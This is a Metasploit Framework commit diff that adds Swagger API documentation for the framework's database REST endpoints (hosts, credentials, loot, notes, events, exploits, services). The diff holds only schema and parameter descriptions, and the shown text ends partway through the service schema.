merges master

GSoC/Meterpreter_Web_Console
christopher lee 2018-05-31 09:13:09 -05:00
commit f11c0d061d
66 changed files with 3528 additions and 763 deletions

View File

@ -34,6 +34,7 @@ group :development, :test do
# environment is development
gem 'rspec-rails'
gem 'rspec-rerun'
gem 'swagger-blocks'
end
group :test do

View File

@ -324,6 +324,7 @@ GEM
tilt (>= 1.3, < 3)
sqlite3 (1.3.13)
sshkey (1.9.0)
swagger-blocks (2.0.2)
thin (1.7.2)
daemons (~> 1.0, >= 1.0.9)
eventmachine (~> 1.0, >= 1.0.4)
@ -358,6 +359,7 @@ DEPENDENCIES
rspec-rails
rspec-rerun
simplecov
swagger-blocks
timecop
yard

View File

@ -115,6 +115,10 @@ Files: data/webcam/api.js
Copyright: Copyright 2013 Muaz Khan<@muazkh>.
License: MIT
Files: lib/msf/core/db_manager/http/public/*, lib/msf/core/db_manager/http/views/api_docs.erb
Copyright: Copyright 2018 SmartBear Software
License: Apache 2.0
License: BSD-2-clause
Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met:

View File

@ -0,0 +1,203 @@
require 'swagger/blocks'
# TODO: Complete this documentation when the credential model is fully implemented in the API.
module CredentialApiDoc
include Swagger::Blocks
ORIGIN_ID_DESC = 'The ID of the origin record associated with this credential.'
ORIGIN_TYPE = 'The class name within Metasploit::Credential that indicates where this credential came from.'
PRIVATE_ID_DESC = 'The ID of the Metasploit::Credential::Private record associated with this credential.'
PUBLIC_ID_DESC = 'The ID of the Metasploit::Credential::Public record associated with this credential.'
REALM_ID_DESC = 'The ID of the Metasploit::Credential::Realm from where the credential was gathered.'
LOGINS_COUNT_DESC = 'The number of successful login attempts that were completed using this credential.'
ORIGIN_TYPE_ENUM = [
'Metasploit::Credential::Origin::Import',
'Metasploit::Credential::Origin::Manual',
'Metasploit::Credential::Origin::Service',
'Metasploit::Credential::Origin::Session'
]
# Swagger documentation for Credential model
swagger_schema :Credential do
key :required, [:origin_id]
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
property :origin_id, type: :integer, format: :int32, description: ORIGIN_ID_DESC
property :origin_type, type: :string, description: ORIGIN_TYPE, enum: ORIGIN_TYPE_ENUM
property :private_id, type: :integer, format: :int32, description: PRIVATE_ID_DESC
property :public_id, type: :integer, format: :int32, description: PUBLIC_ID_DESC
property :realm_id, type: :integer, format: :int32, description: REALM_ID_DESC
property :workspace_id, type: :integer, format: :int32, description: RootApiDoc::WORKSPACE_ID_DESC
property :logins_count, type: :integer, format: :int32, description: LOGINS_COUNT_DESC
property :logins do
key :type, :array
items do
end
end
property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC
property :updated_at, type: :string, format: :date_time, description: RootApiDoc::UPDATED_AT_DESC
end
swagger_path '/api/v1/credentials' do
# Swagger documentation for /api/v1/credentials GET
operation :get do
key :description, 'Return credentials that are stored in the database.'
key :tags, [ 'credential' ]
parameter :workspace
parameter do
key :in, :body
key :name, :body
key :required, true
schema do
property :svcs do
key :in, :body
key :description, 'Only return credentials of the specified service.'
key :type, :array
key :required, false
items do
key :type, :string
end
end
property :ptype do
key :in, :body
key :description, 'The type of credential to return.'
key :type, :string
key :required, false
key :enum, ['password','ntlm','hash']
end
property :user do
key :in, :body
key :description, 'Only return credentials where the user matches this regex.'
key :type, :string
key :required, false
end
property :pass do
key :in, :body
key :description, 'Only return credentials where the password matches this regex.'
key :type, :string
key :required, false
end
end
end
response 200 do
key :description, 'Returns credential data.'
schema do
key :type, :array
items do
key :'$ref', :Credential
end
end
end
end
# Swagger documentation for /api/v1/credentials POST
operation :post do
key :description, 'Create a credential.'
key :tags, [ 'credential' ]
parameter do
key :in, :body
key :name, :body
key :description, 'The attributes to assign to the credential.'
key :required, true
schema do
key :'$ref', :Credential
end
end
response 200 do
key :description, 'Successful operation.'
schema do
key :type, :object
key :'$ref', :Credential
end
end
end
# This endpoint is NYI.
#
# # Swagger documentation for /api/v1/credentials/ DELETE
# operation :delete do
# key :description, 'Delete the specified credentials.'
# key :tags, [ 'credential' ]
#
# parameter :delete_opts
#
# response 200 do
# key :description, 'Successful operation'
# schema do
# key :type, :array
# items do
# key :'$ref', :Credential
# end
# end
# end
# end
end
# This endpoint is NYI.
#
# swagger_path '/api/v1/credentials/:id' do
# # Swagger documentation for api/v1/credentials/:id GET
# operation :get do
# key :description, 'Return credentials that are stored in the database.'
# key :tags, [ 'credential' ]
#
# parameter :workspace
# parameter :non_dead
# parameter :address
#
# parameter do
# key :name, :id
# key :in, :path
# key :description, 'ID of credential to retrieve'
# key :required, true
# key :type, :integer
# key :format, :int32
# end
#
# response 200 do
# key :description, 'Returns credential data'
# schema do
# key :type, :array
# items do
# key :'$ref', :Credential
# end
# end
# end
# end
# This endpoint is NYI.
#
# Swagger documentation for /api/v1/credentials/:id PUT
# operation :put do
# key :description, 'Update the attributes an existing credential.'
# key :tags, [ 'credential' ]
#
# parameter :update_id
#
# parameter do
# key :in, :body
# key :name, :body
# key :description, 'The updated attributes to overwrite to the credential'
# key :required, true
# schema do
# key :'$ref', :Credential
# end
# end
#
# response 200 do
# key :description, 'Successful operation'
# schema do
# key :type, :object
# key :'$ref', :Credential
# end
# end
# end
#end
end

View File

@ -0,0 +1,38 @@
require 'swagger/blocks'
module DbExportApiDoc
include Swagger::Blocks
swagger_path '/api/v1/db-export' do
# Swagger documentation for /api/v1/db-export GET
operation :get do
key :description, 'Create a backup of the database as a file that can be re-imported to restore data.'
key :tags, [ 'db_export' ]
parameter :workspace
parameter do
key :in, :query
key :name, :path
key :required, true
key :description, 'The location to store the export file.'
end
parameter do
key :in, :query
key :name, :format
key :required, true
key :description, 'The file format to export as. Valid values are \'xml\' and \'pwdump\''
end
response 200 do
key :description, 'A JSON object containing the Base64 encoded backup file.'
schema do
property :db_export_file do
key :type, :string
end
end
end
end
end
end

View File

@ -0,0 +1,59 @@
require 'swagger/blocks'
module EventApiDoc
include Swagger::Blocks
NAME_DESC = 'The name of the event.'
NAME_EXAMPLE = 'module_run'
HOST_DESC = 'The address of the host related to this event.'
CRITICAL_DESC = 'true if the event is considered critical.'
SEEN_DESC = 'true if a user has acknowledged the event.'
USERNAME_DESC = 'Name of the user that triggered the event.'
INFO_DESC = 'Information about the event specific to the event name.'
INFO_EXAMPLE = '{:command=>"irb"}'
# Swagger documentation for Event model
swagger_schema :Event do
key :required, [:name]
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
property :workspace_id, type: :integer, format: :int32, description: RootApiDoc::WORKSPACE_ID_DESC
property :name, type: :string, description: NAME_DESC, example: NAME_EXAMPLE
property :critical, type: :boolean, description: CRITICAL_DESC
property :seen, type: :string, description: SEEN_DESC
property :username, type: :string, description: USERNAME_DESC
property :info, type: :string, description: INFO_DESC, example: INFO_EXAMPLE
property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC
property :updated_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC
end
swagger_path '/api/v1/events' do
# Swagger documentation for /api/v1/events POST
operation :post do
key :description, 'Create an event.'
key :tags, [ 'event' ]
parameter do
key :in, :body
key :name, :body
key :description, 'The attributes to assign to the event.'
key :required, true
schema do
property :workspace, type: :string, required: true, description: RootApiDoc::WORKSPACE_POST_DESC, example: RootApiDoc::WORKSPACE_POST_EXAMPLE
property :name, type: :string, description: NAME_DESC, example: NAME_EXAMPLE
property :host, type: :string, format: :ipv4, description: HOST_DESC, example: RootApiDoc::HOST_EXAMPLE
property :critical, type: :boolean, description: CRITICAL_DESC
property :username, type: :string, description: USERNAME_DESC
property :info, type: :string, description: INFO_DESC, example: INFO_EXAMPLE
end
end
response 200 do
key :description, 'Successful operation.'
schema do
key :type, :object
key :'$ref', :Event
end
end
end
end
end

View File

@ -0,0 +1,67 @@
require 'swagger/blocks'
module ExploitApiDoc
include Swagger::Blocks
swagger_schema :Exploit do
key :required, [:id, :name]
property :id, type: :integer, format: :int32
property :created_at, type: :string, format: :date_time
property :updated_at, type: :string, format: :date_time
property :workspace_id, type: :integer, format: :int32
property :name, type: :string
property :critical, type: :boolean
property :seen, type: :string
property :username, type: :string
property :info do
key :type, :object
property :revision, type: :string
end
end
swagger_path '/api/v1/exploits' do
# Swagger documentation for /api/v1/exploits POST
operation :post do
key :description, 'Create an exploit entry.'
key :tags, [ 'exploit' ]
parameter do
key :in, :body
key :name, :body
key :description, 'The attributes to assign to the exploit.'
key :required, true
schema do
property :timestamp, type: :string, format: :date_time
property :module, type: :string
property :workspace, required: true, type: :string
property :port, type: :integer, format: :int32
property :proto, type: :string, enum: ['tcp','udp']
property :service, '$ref' => :Service
property :host, '$ref' => :Host
property :vuln, '$ref' => :Vuln
property :refs do
key :required, true
key :type, :array
items do
key :type, :string
end
end
property :exploit_report_attempt do
key :type, :string
key :enum, ['attempt', 'failure', 'success']
end
end
end
response 200 do
key :description, 'Successful operation.'
schema do
key :type, :object
key :'$ref', :Exploit
end
end
end
end
end

View File

@ -0,0 +1,237 @@
require 'swagger/blocks'
module HostApiDoc
include Swagger::Blocks
HOST_DESC = 'The IP address of the host.'
HOST_EXAMPLE = '127.0.0.1'
MAC_DESC = 'MAC Address of the host'
MAC_EXAMPLE = 'AA:BB:CC:11:22:33'
COMM_DESC = 'Unused attribute.'
NAME_DESC = 'Hostname of the host.'
NAME_EXAMPLE = 'domain_controller'
STATE_DESC = 'The last seen connectivity state of this host.'
OS_NAME_DESC = 'The name of the operating system.'
OS_NAME_EXAMPLE = "'Windows XP', 'Ubuntu', or 'Mac OS X'"
OS_FLAVOR_DESC = 'The flavor of operating system.'
OS_FLAVOR_EXAMPLE = "'Enterprise', 'Pro', or 'Home'"
OS_SP_DESC = 'The service pack version the operating system is running.'
OS_SP_EXAMPLE = "'SP2'"
OS_LANG_DESC = 'The language the operating system is using.'
OS_LANG_EXAMPLE = "'English', 'French', or 'en-US'"
OS_FAMILY_DESC = 'The major family the operating system belongs to.'
OS_FAMILY_EXAMPLE = "'Windows', 'Linux', or 'OS X'"
ARCH_DESC = 'The architecture of the host\'s CPU OR the programming language for virtual machine programming language like Ruby, PHP, and Java.'
DETECTED_ARCH_DESC = 'The architecture of the host\'s CPU as detected by `Recog`. If arch is not \'unknown\', this is undefined.'
PURPOSE_DESC = 'The main function of the host.'
INFO_DESC = 'Customizable information about the host.'
COMMENTS_DESC = 'A place for storing notes or findings about the host.'
SCOPE_DESC = 'Interface identifier for link-local IPv6.'
VIRTUAL_HOST_DESC = 'The name of the virtualization software.'
VIRTUAL_HOST_EXAMPLE = "'VMWare', 'QEMU', 'Xen', or 'Docker'"
NOTE_COUNT_DESC = 'Cached count of the number of associated notes.'
VULN_COUNT_DESC = 'Cached count of the number of associated vulns.'
SERVICE_COUNT_DESC = 'Cached count of the number of associated services.'
HOST_DETAIL_COUNT_DESC = 'Cached count of the number of associated host details.'
EXPLOIT_ATTEMPT_COUNT_DESC = 'Cached count of the number of associated exploit attempts.'
CRED_COUNT_DESC = 'Cached count of the number of associated creds.'
STATE_ENUM = [ 'alive', 'down', 'unknown' ]
ARCH_ENUM = [
'armbe',
'armle',
'cbea',
'cbea64',
'cmd',
'java',
'mips',
'mipsbe',
'mipsle',
'php',
'ppc',
'ppc64',
'ruby',
'sparc',
'tty',
'x64',
'x86',
'x86_64',
'',
'Unknown'
]
# Swagger documentation for Host model
swagger_schema :Host do
key :required, [:address, :name]
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
property :address, type: :string, description: HOST_DESC, example: HOST_EXAMPLE
property :mac, type: :string, description: MAC_DESC, example: MAC_EXAMPLE
property :comm, type: :string, description: COMM_DESC
property :name, type: :string, description: NAME_DESC, example: NAME_EXAMPLE
property :state, type: :string, description: STATE_DESC, enum: STATE_ENUM
property :os_name, type: :string, description: OS_NAME_DESC, example: OS_NAME_EXAMPLE
property :os_flavor, type: :string, description: OS_FLAVOR_DESC, example: OS_FLAVOR_EXAMPLE
property :os_sp, type: :string, description: OS_SP_DESC, example: OS_SP_EXAMPLE
property :os_lang, type: :string, description: OS_LANG_DESC, example: OS_LANG_EXAMPLE
property :os_family, type: :string, description: OS_FAMILY_DESC, example: OS_FAMILY_EXAMPLE
property :arch, type: :string, description: ARCH_DESC, enum: ARCH_ENUM
property :detected_arch, type: :string, description: DETECTED_ARCH_DESC
property :workspace_id, type: :integer, format: :int32, description: RootApiDoc::WORKSPACE_ID_DESC
property :purpose, type: :string, description: PURPOSE_DESC
property :info, type: :string, description: INFO_DESC
property :comments, type: :string, description: COMMENTS_DESC
property :scope, type: :string, description: SCOPE_DESC
property :virtual_host, type: :string, description: VIRTUAL_HOST_DESC, example: VIRTUAL_HOST_EXAMPLE
property :note_count, type: :integer, format: :int32, description: NOTE_COUNT_DESC
property :vuln_count, type: :integer, format: :int32, description: VULN_COUNT_DESC
property :service_count, type: :integer, format: :int32, description: SERVICE_COUNT_DESC
property :host_detail_count, type: :integer, format: :int32, description: HOST_DETAIL_COUNT_DESC
property :exploit_attempt_count, type: :integer, format: :int32, description: EXPLOIT_ATTEMPT_COUNT_DESC
property :cred_count, type: :integer, format: :int32, description: CRED_COUNT_DESC
property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC
property :updated_at, type: :string, format: :date_time, description: RootApiDoc::UPDATED_AT_DESC
end
swagger_path '/api/v1/hosts' do
# Swagger documentation for /api/v1/hosts GET
operation :get do
key :description, 'Return hosts that are stored in the database.'
key :tags, [ 'host' ]
parameter :workspace
parameter :non_dead
parameter :address
response 200 do
key :description, 'Returns host data.'
schema do
key :type, :array
items do
key :'$ref', :Host
end
end
end
end
# Swagger documentation for /api/v1/hosts POST
operation :post do
key :description, 'Create a host.'
key :tags, [ 'host' ]
parameter do
key :in, :body
key :name, :body
key :description, 'The attributes to assign to the host.'
key :required, true
schema do
property :workspace, type: :string, required: true, description: RootApiDoc::WORKSPACE_POST_EXAMPLE
property :host, type: :string, format: :ipv4, required: true, description: HOST_DESC, example: HOST_EXAMPLE
property :mac, type: :string, description: MAC_DESC, example: MAC_EXAMPLE
property :name, type: :string, description: NAME_DESC, example: NAME_EXAMPLE
property :os_name, type: :string, description: OS_NAME_DESC, example: OS_NAME_EXAMPLE
property :os_flavor, type: :string, description: OS_FLAVOR_DESC, example: OS_FLAVOR_EXAMPLE
property :os_sp, type: :string, description: OS_SP_DESC, example: OS_SP_EXAMPLE
property :os_lang, type: :string, description: OS_LANG_DESC, example: OS_LANG_EXAMPLE
property :purpose, type: :string, description: PURPOSE_DESC
property :info, type: :string, description: INFO_DESC
property :comments, type: :string, description: COMMENTS_DESC
property :scope, type: :string, description: SCOPE_DESC
property :virtual_host, type: :string, description: VIRTUAL_HOST_DESC, example: VIRTUAL_HOST_EXAMPLE
# Possible values paired down from rex-arch/lib/rex/arch.rb
property :arch do
key :type, :string
key :description, ARCH_DESC
key :enum, ARCH_ENUM
end
property :state do
key :type, :string
key :description, STATE_DESC
key :enum, STATE_ENUM
end
end
end
response 200 do
key :description, 'Successful operation.'
schema do
key :type, :object
key :'$ref', :Host
end
end
end
# Swagger documentation for /api/v1/hosts/ DELETE
operation :delete do
key :description, 'Delete the specified hosts.'
key :tags, [ 'host' ]
parameter :delete_opts
response 200 do
key :description, 'Successful operation.'
schema do
key :type, :array
items do
key :'$ref', :Host
end
end
end
end
end
swagger_path '/api/v1/hosts/{id}' do
# Swagger documentation for api/v1/hosts/:id GET
operation :get do
key :description, 'Return specific host that is stored in the database.'
key :tags, [ 'host' ]
parameter :workspace
parameter :non_dead
parameter :address
parameter do
key :name, :id
key :in, :path
key :description, 'ID of host to retrieve.'
key :required, true
key :type, :integer
key :format, :int32
end
response 200 do
key :description, 'Returns host data.'
schema do
key :type, :array
items do
key :'$ref', :Host
end
end
end
end
# Swagger documentation for /api/v1/hosts/:id PUT
operation :put do
key :description, 'Update the attributes an existing host.'
key :tags, [ 'host' ]
parameter :update_id
parameter do
key :in, :body
key :name, :body
key :description, 'The updated attributes to overwrite to the host'
key :required, true
schema do
key :'$ref', :Host
end
end
response 200 do
key :description, 'Successful operation.'
schema do
key :type, :object
key :'$ref', :Host
end
end
end
end
end

View File

@ -0,0 +1,167 @@
require 'swagger/blocks'
module LootApiDoc
include Swagger::Blocks
HOST_ID_DESC = 'The ID of the host record this loot is associated with.'
HOST_DESC = 'The IP address of the host from where the loot was obtained.'
SERVICE_ID_DESC = 'The ID of the service record this loot is associated with.'
LTYPE_DESC = 'The type of loot.'
LTYPE_EXAMPLE = "'file', 'image', 'config_file', etc."
PATH_DESC = 'The on-disk path to the loot file.'
PATH_EXAMPLE = '/path/to/file.txt'
DATA_DESC = 'The contents of the file.'
CONTENT_TYPE_DESC = 'The mime/content type of the file at {#path}. Used to server the file correctly so browsers understand whether to render or download the file.'
CONTENT_TYPE_EXAMPLE = 'text/plain'
NAME_DESC = 'The name of the loot.'
NAME_EXAMPLE = 'password_file.txt'
INFO_DESC = 'Information about the loot.'
MODULE_RUN_ID_DESC = 'The ID of the module run record this loot is associated with.'
# Swagger documentation for loot model
swagger_schema :Loot do
key :required, [:name, :ltype, :path]
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
property :workspace_id, type: :integer, format: :int32, description: RootApiDoc::WORKSPACE_ID_DESC
property :host_id, type: :integer, format: :int32, description: HOST_ID_DESC
property :service_id, type: :integer, format: :int32, description: SERVICE_ID_DESC
property :ltype, type: :string, description: LTYPE_DESC, example: LTYPE_EXAMPLE
property :path, type: :string, description: PATH_DESC, example: PATH_EXAMPLE
property :data, type: :string, description: DATA_DESC
property :content_type, type: :string, description: CONTENT_TYPE_DESC, example: CONTENT_TYPE_EXAMPLE
property :name, type: :string, description: NAME_DESC, example: NAME_EXAMPLE
property :info, type: :string, description: INFO_DESC
property :module_run_id, type: :integer, format: :int32, description: MODULE_RUN_ID_DESC
property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC
property :updated_at, type: :string, format: :date_time, description: RootApiDoc::UPDATED_AT_DESC
end
swagger_path '/api/v1/loots' do
# Swagger documentation for /api/v1/loots GET
operation :get do
key :description, 'Return loot entries that are stored in the database.'
key :tags, [ 'loot' ]
parameter :workspace
response 200 do
key :description, 'Returns loot data.'
schema do
key :type, :array
items do
key :'$ref', :Loot
end
end
end
end
# Swagger documentation for /api/v1/loots POST
operation :post do
key :description, 'Create a loot entry.'
key :tags, [ 'loot' ]
parameter do
key :in, :body
key :name, :body
key :description, 'The attributes to assign to the loot.'
key :required, true
schema do
property :workspace, type: :string, required: true, description: RootApiDoc::WORKSPACE_POST_DESC, example: RootApiDoc::WORKSPACE_POST_EXAMPLE
property :host, type: :string, format: :ipv4, description: HOST_DESC, example: RootApiDoc::HOST_EXAMPLE
property :service, '$ref': :Service
property :ltype, type: :string, description: LTYPE_DESC, example: LTYPE_EXAMPLE, required: true
property :path, type: :string, description: PATH_DESC, example: PATH_EXAMPLE, required: true
property :data, type: :string, description: DATA_DESC
property :ctype, type: :string, description: CONTENT_TYPE_DESC, example: CONTENT_TYPE_EXAMPLE
property :name, type: :string, description: NAME_DESC, example: NAME_EXAMPLE, required: true
property :info, type: :string, description: INFO_DESC
end
end
response 200 do
key :description, 'Successful operation.'
schema do
key :type, :object
key :'$ref', :Loot
end
end
end
# Swagger documentation for /api/v1/loot/ DELETE
operation :delete do
key :description, 'Delete the specified loot.'
key :tags, [ 'loot' ]
parameter :delete_opts
response 200 do
key :description, 'Successful operation.'
schema do
key :type, :array
items do
key :'$ref', :Loot
end
end
end
end
end
swagger_path '/api/v1/loot/{id}' do
# Swagger documentation for api/v1/loot/:id GET
# TODO: Add this back in when this endpoint is implemented, tracked in MS-3233.
#
# operation :get do
# key :description, 'Return specific loot entry that is stored in the database.'
# key :tags, [ 'loot' ]
#
# parameter :workspace
#
# parameter do
# key :name, :id
# key :in, :path
# key :description, 'ID of loot to retrieve.'
# key :required, true
# key :type, :integer
# key :format, :int32
# end
#
# response 200 do
# key :description, 'Returns loot data.'
# schema do
# key :type, :array
# items do
# key :'$ref', :Loot
# end
# end
# end
# end
# Swagger documentation for /api/v1/loot/{id} PUT
operation :put do
key :description, 'Update the attributes an existing loot.'
key :tags, [ 'loot' ]
parameter :update_id
parameter do
key :in, :body
key :name, :body
key :description, 'The updated attributes to overwrite to the loot.'
key :required, true
schema do
key :'$ref', :Loot
end
end
response 200 do
key :description, 'Successful operation.'
schema do
key :type, :object
key :'$ref', :Loot
end
end
end
end
end

View File

@ -0,0 +1,20 @@
require 'swagger/blocks'
module MsfApiDoc
include Swagger::Blocks
swagger_path '/api/v1/msf/version' do
# Swagger documentation for /api/v1/msf/version GET
operation :get do
key :description, 'Return the current version of the running Metasploit Framework.'
key :tags, [ 'msf' ]
response 200 do
key :description, 'Returns the Metasploit Framework version.'
schema do
property :metasploit_version, type: :string
end
end
end
end
end

View File

@ -0,0 +1,33 @@
require 'swagger/blocks'
module NmapApiDoc
include Swagger::Blocks
swagger_path '/api/v1/nmaps' do
# Swagger documentation for /api/v1/nmaps POST
operation :post do
key :description, 'Upload an Nmap XML file to be processed into corresponding Metasploit data objects.'
key :tags, [ 'nmap' ]
parameter do
key :in, :body
key :name, :body
key :required, true
schema do
property :workspace, type: :string, required: true, description: RootApiDoc::WORKSPACE_POST_EXAMPLE
property :filename, type: :string, required: true, description: 'The name of the file you are uploading.'
property :data, type: :string, required: true, description: 'The Base64 encoded contents of the Nmap XML file.'
end
end
response 200 do
key :description, 'A JSON object containing the Base64 encoded backup file.'
schema do
property :db_export_file do
key :type, :string
end
end
end
end
end
end

View File

@ -0,0 +1,153 @@
require 'swagger/blocks'
module NoteApiDoc
include Swagger::Blocks
NTYPE_DESC = 'The type of note this is.'
NTYPE_EXAMPLE = "'host.info', 'host.os.session_fingerprint', 'smb_peer_os', etc."
HOST_ID_DESC = 'The ID of the host record this note is associated with.'
HOST_DESC = 'The IP address of the host this note is associated with.'
SERVICE_ID_DESC = 'The ID of the host record this service is associated with.'
VULN_ID_DESC = 'The ID of the host record this note is associated with.'
CRITICAL_DESC = 'Boolean regarding the criticality of this note\'s contents.'
SEEN_DESC = 'Boolean regarding if this note has been acknowledged.'
DATA_DESC = 'The contents of the note.'
# Swagger documentation for notes model
swagger_schema :Note do
key :required, [:ntype]
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
property :ntype, type: :string, description: NTYPE_DESC, example: NTYPE_EXAMPLE
property :workspace_id, type: :integer, format: :int32, description: RootApiDoc::WORKSPACE_ID_DESC
property :host_id, type: :integer, format: :int32, description: HOST_ID_DESC
property :service_id, type: :integer, format: :int32, description: SERVICE_ID_DESC
property :vuln_id, type: :integer, format: :int32, description: VULN_ID_DESC
property :critical, type: :boolean, description: CRITICAL_DESC
property :seen, type: :boolean, description: SEEN_DESC
property :data, type: :string, description: DATA_DESC
property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC
property :updated_at, type: :string, format: :date_time, description: RootApiDoc::UPDATED_AT_DESC
end
swagger_path '/api/v1/notes' do
# Swagger documentation for /api/v1/notes GET
operation :get do
key :description, 'Return notes that are stored in the database.'
key :tags, [ 'note' ]
parameter :workspace
response 200 do
key :description, 'Returns note data.'
schema do
key :type, :array
items do
key :'$ref', :Note
end
end
end
end
# Swagger documentation for /api/v1/notes POST
operation :post do
key :description, 'Create a note entry.'
key :tags, [ 'note' ]
parameter do
key :in, :body
key :name, :body
key :description, 'The attributes to assign to the note.'
key :required, true
schema do
property :ntype, type: :string, description: NTYPE_DESC, example: NTYPE_EXAMPLE, required: true
property :workspace, type: :string, required: true, description: RootApiDoc::WORKSPACE_POST_DESC, example: RootApiDoc::WORKSPACE_POST_EXAMPLE
property :host, type: :integer, format: :ipv4, description: HOST_DESC, example: RootApiDoc::HOST_EXAMPLE
property :critical, type: :boolean, description: CRITICAL_DESC
property :seen, type: :boolean, description: SEEN_DESC
property :data, type: :string, description: DATA_DESC
end
end
response 200 do
key :description, 'Successful operation.'
schema do
key :type, :object
key :'$ref', :Note
end
end
end
# Swagger documentation for /api/v1/notes/ DELETE
operation :delete do
key :description, 'Delete the specified notes.'
key :tags, [ 'note' ]
parameter :delete_opts
response 200 do
key :description, 'Successful operation.'
schema do
key :type, :array
items do
key :'$ref', :Note
end
end
end
end
end
swagger_path '/api/v1/notes/{id}' do
# Swagger documentation for api/v1/notes/:id GET
operation :get do
key :description, 'Return specific note that is stored in the database.'
key :tags, [ 'note' ]
parameter :workspace
parameter do
key :name, :id
key :in, :path
key :description, 'ID of note to retrieve.'
key :required, true
key :type, :integer
key :format, :int32
end
response 200 do
key :description, 'Returns notes data.'
schema do
key :type, :array
items do
key :'$ref', :Note
end
end
end
end
# Swagger documentation for /api/v1/notes/:id PUT
operation :put do
key :description, 'Update the attributes an existing note.'
key :tags, [ 'note' ]
parameter :update_id
parameter do
key :in, :body
key :name, :body
key :description, 'The updated attributes to overwrite to the note.'
key :required, true
schema do
key :'$ref', :Note
end
end
response 200 do
key :description, 'Successful operation.'
schema do
key :type, :object
key :'$ref', :Note
end
end
end
end
end

View File

@ -0,0 +1,108 @@
require 'swagger/blocks'
module RootApiDoc
include Swagger::Blocks
ID_DESC = 'The primary key used to identify this object in the database.'
CREATED_AT_DESC = 'The date and time this record was added to the database.'
UPDATED_AT_DESC = 'The date and time this record was last updated in the database.'
WORKSPACE_ID_DESC = 'The ID of the workspace this credential belongs to.'
WORKSPACE_POST_DESC = 'The name of the workspace where this record should be created.'
WORKSPACE_POST_EXAMPLE = 'default'
HOST_EXAMPLE = '127.0.0.1'
swagger_root do
key :swagger, '2.0'
info do
key :version, '1.0.0'
key :title, 'Metasploit API'
key :description, 'An API for interacting with Metasploit\'s data models.'
license do
key :name, 'BSD-3-clause'
end
end
key :consumes, ['application/json']
key :produces, ['application/json']
#################################
#
# Documentation Tags
#
#################################
tag name: 'credential', description: 'Credential operations.'
tag name: 'db_export', description: 'Endpoint for generating and retrieving a database backup.'
tag name: 'event', description: 'Event operations.'
tag name: 'exploit', description: 'Exploit operations.'
tag name: 'host', description: 'Host operations.'
tag name: 'loot', description: 'Loot operations.'
tag name: 'msf', description: 'Utility operations around Metasploit Framework.'
tag name: 'nmap', description: 'Nmap operations.'
tag name: 'note', description: 'Note operations.'
tag name: 'service', description: 'Service operations.'
tag name: 'session', description: 'Session operations.'
tag name: 'session_event', description: 'Session Event operations.'
tag name: 'vuln', description: 'Vuln operations.'
tag name: 'vuln_attempt', description: 'Vuln Attempt operations.'
tag name: 'workspace', description: 'Workspace operations.'
#################################
#
# Global parameters
#
#################################
parameter :workspace do
key :name, :workspace
key :in, :query
key :description, 'The workspace from which the data should be gathered from.'
key :required, true
key :type, :string
end
parameter :update_id do
key :name, :id
key :in, :path
key :description, 'ID of the object to update'
key :required, true
key :type, :integer
key :format, :int32
end
parameter :delete_opts do
key :in, :body
key :name, :delete_opts
key :description, 'The IDs of the objects you want to delete.'
key :required, true
schema do
key :required, [:ids]
property :ids do
key :type, :array
items do
key :type, :integer
end
end
end
end
#################################
#
# Host related parameters
#
#################################
parameter :non_dead do
key :name, :non_dead
key :in, :query
key :description, 'true to return only hosts which are up, false for all hosts.'
key :required, false
key :type, :boolean
end
parameter :address do
key :name, :address
key :in, :query
key :description, 'Return hosts matching the given IP address.'
key :required, false
key :type, :string
end
end
end

View File

@ -0,0 +1,158 @@
require 'swagger/blocks'
module ServiceApiDoc
include Swagger::Blocks
HOST_DESC = 'The host where this service is running.'
HOST_ID_DESC = 'The ID of the host record this service is associated with.'
PORT_DESC = 'The port this service is listening on.'
PORT_EXAMPLE = '443'
PROTO_DESC = 'The transport layer protocol this service is using.'
PROTO_ENUM = ['tcp', 'udp']
NAME_DESC = 'The application layer protocol.'
NAME_EXAMPLE = "'ssh', 'mssql', 'smb', etc."
STATE_DESC = 'The current listening state of the service.'
STATE_ENUM = ['open', 'closed', 'filtered', 'unknown']
INFO_DESC = 'Detailed information about the service such as name and version information.'
INFO_EXAMPLE = "'ProFTPD 1.3.5', 'WEBrick httpd 1.3.1 Ruby 2.3.4', etc."
# Swagger documentation for Service model
swagger_schema :Service do
key :required, [:id, :port, :proto]
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
property :host_id, type: :integer, format: :int32, description: HOST_ID_DESC
property :port, type: :string, description: PORT_DESC, example: PORT_EXAMPLE
property :proto, type: :string, description: PROTO_DESC, enum: PROTO_ENUM
property :name, type: :string, description: NAME_DESC, example: NAME_EXAMPLE
property :info, type: :string, description: INFO_DESC, example: INFO_EXAMPLE
property :state, type: :string, description: STATE_DESC, enum: STATE_ENUM
property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC
property :updated_at, type: :string, format: :date_time, description: RootApiDoc::UPDATED_AT_DESC
end
swagger_path '/api/v1/services' do
# Swagger documentation for /api/v1/services GET
operation :get do
key :description, 'Return services that are stored in the database.'
key :tags, [ 'service' ]
parameter :workspace
response 200 do
key :description, 'Returns service data.'
schema do
key :type, :array
items do
key :'$ref', :Service
end
end
end
end
# Swagger documentation for /api/v1/services POST
operation :post do
key :description, 'Create a Service.'
key :tags, [ 'service' ]
parameter do
key :in, :body
key :name, :body
key :description, 'The attributes to assign to the service.'
key :required, true
schema do
property :workspace, type: :string, required: true, description: RootApiDoc::WORKSPACE_POST_DESC, example: RootApiDoc::WORKSPACE_POST_EXAMPLE
property :host, type: :string, format: :ipv4, required: true, description: HOST_DESC, example: RootApiDoc::HOST_EXAMPLE
property :port, type: :string, required: true, description: PORT_DESC, example: PORT_EXAMPLE
property :proto, type: :string, required: true, description: PROTO_DESC, enum: PROTO_ENUM
property :name, type: :string, description: NAME_DESC, example: NAME_EXAMPLE
